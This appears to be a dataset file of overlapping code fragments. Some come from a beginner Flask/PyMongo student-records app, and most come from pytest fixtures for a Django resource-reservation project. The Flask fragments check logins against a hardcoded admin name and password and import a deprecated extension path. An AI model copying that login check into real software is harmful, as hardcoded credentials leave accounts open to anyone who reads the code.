\"\"\" @app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19})", "user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return", "app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\"", "request.method == 'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\": return", "form(): if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year']", "render_template, redirect, url_for from flask.ext.pymongo import PyMongo from flask import", "def form(): if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address']" ]
[ "accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is wheelchair accessible, not hearing", "level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin',", "\"20\", \"name_en\": \"I am hearing impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp)", "resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first()", "resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment', )", "@pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit):", "def group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose(): return", "return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki on kielletty',", "resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality", "municipality = Municipality.objects.create( id='foo', name='Foo' ) return municipality @pytest.fixture def", "@pytest.fixture def group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose():", "resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is wheelchair accessible,", "unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def", "unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of", "name_en='test terms of use', text_fi='kaikki on kielletty', text_en='everything is forbidden',", "is forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return", "return resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create( username='test_user', first_name='Cem',", "käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db", "from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import", "Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture", "{'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2", "is hearing accessible, not wheelchair accessible, unit is accessible to", "Resource is accessible, unit is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair,", "def accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\", \"name_en\": \"I am a", "username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return", "return group @pytest.fixture def test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo'", "preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def general_admin():", "resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource", "range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return", "forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create(", "last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user',", "text_fi='kaikki on kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture def", "@pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource", "period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date + datetime.timedelta(days=1) Day.objects.create(period=period,", "username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def staff_user(): return", "is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red )", "wheelchair user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp", "identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture def", "equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db", "identifier='test_group_2', name='Test resource group 2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture", ") UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def", "hearing accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit,", "use', text_fi='kaikki on kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture", "api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user)", "resources.enums import UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit, Purpose,", "AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red():", "@pytest.fixture def api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client =", "ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models", "wheelchair accessible, not hearing accessible, unit is accessible to both", "accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is wheelchair accessible, not", "language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data", "@pytest.fixture def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None,", "viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit,", "all_user_types_api_client(request): api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture", "unit is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create(", "{\"id\": \"20\", \"name_en\": \"I am hearing impaired\", \"order_text\": 20} return", "accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is hearing accessible, not wheelchair", "= APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user): api_client =", "test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit", "test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit 2\",", "@pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use():", "@pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3():", ") @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1),", "= {\"id\": \"10\", \"name_en\": \"I am a wheelchair user\", \"order_text\":", "accessibility_value_red): \"\"\" Resource is accessible, unit is not \"\"\" ResourceAccessibility.objects.create(", "@pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'} resource_equipment", "from resources.enums import UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit,", "first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user", "api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client = APIClient() if", "return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\"", "def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing,", "0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent =", "group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2' ) group.resources.set([resource_in_unit2])", "in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific", "time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def", "@pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def", "\"\"\" Resource is accessible, unit is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3,", "django.contrib.auth import get_user_model from django.contrib.auth.models import Group from rest_framework.test import", "@pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12,", "@pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def", ") return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red):", "@pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment)", "api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture", "import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality @pytest.fixture", "Resource is hearing accessible, not wheelchair accessible, unit is accessible", "max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return", "resource equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return", "= ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2' ) group.resources.set([resource_in_unit2]) return", "@pytest.fixture def test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo' ) return", "@pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2():", "preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user',", "10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp = {\"id\": \"20\",", "unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en'", "@pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115,", "\"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10)", "hours') for weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0),", "first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def", "= Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours')", "def api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client = APIClient()", "2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality(): municipality =", "resource rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create(", "is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def", "test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create(", "@pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True,", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit,", ") return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\",", "parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours',", "opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def", "datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture def equipment_category():", "20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture", "accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\", \"name_en\": \"I am a wheelchair", "Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki')", "date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period", "viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit,", "accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is accessible, unit is not", "APIClient() @pytest.fixture def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client", "def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit", "AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def", "for weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18,", "@pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>',", "preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan',", "Resource is wheelchair accessible, not hearing accessible, unit is accessible", "both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing,", "EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint,", ") @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type,", "hearing impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return", "return EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category):", "@pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade',", "terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki on", "return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period", "api_client = APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def", "def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en'", "return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db", "municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\", \"name_en\": \"I", "\"10\", \"name_en\": \"I am a wheelchair user\", \"order_text\": 10} return", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit,", "max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 =", "specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource rocks' )", "return api_client @pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def", "accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair,", "is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3,", "name='exceptional hours', exceptional=True, parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True)", "accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair,", "resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner',", "username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture", "ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green )", "munigeo.models import Municipality @pytest.fixture def api_client(): return APIClient() @pytest.fixture def", "unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) return", "Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4),", "resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 2\",", "Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db", "authentication=\"none\", name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset", "APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models import Resource, ResourceType,", "@pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in", "unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1", "last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db", "accessible, not hearing accessible, unit is accessible to both \"\"\"", ") @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector',", "from django.contrib.auth import get_user_model from django.contrib.auth.models import Group from rest_framework.test", "def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit", "= date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db", "resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models", "APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf(): return", "\"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red", "return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 2\", unit=test_unit2, max_reservations_per_user=2,", "UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3,", "period @pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test equipment category'", "UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red )", "api_client @pytest.fixture def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return api_client", "0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours):", "resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit,", "return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return", "first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2(): return", "not wheelchair accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create(", ") @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category)", "@pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair,", "-*- import pytest import datetime from django.contrib.auth import get_user_model from", "last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group():", "equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data =", ") UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green", "1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours') for weekday", "def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group", "hours', exceptional=True, parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date", "vp = {\"id\": \"10\", \"name_en\": \"I am a wheelchair user\",", "category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test", "resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create(", "resource=resource_in_unit, name='regular hours') for weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday,", "# -*- coding: utf-8 -*- import pytest import datetime from", "import Group from rest_framework.test import APIClient, APIRequestFactory from resources.enums import", "name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot',", "datetime from django.contrib.auth import get_user_model from django.contrib.auth.models import Group from", ") UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture def", "order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit,", "ResourceGroup.objects.create( identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture", "terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1,", "value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing,", "import get_user_model from django.contrib.auth.models import Group from rest_framework.test import APIClient,", "resource group 2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality():", "UnitAccessibility from munigeo.models import Municipality @pytest.fixture def api_client(): return APIClient()", "3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms", "2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type,", "resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is hearing accessible,", "date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture", "resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create(", "accessible, unit is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green )", "AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp = {\"id\": \"20\", \"name_en\": \"I", "am hearing impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green():", "ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red )", "name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\")", "= resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True,", "get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture", "def 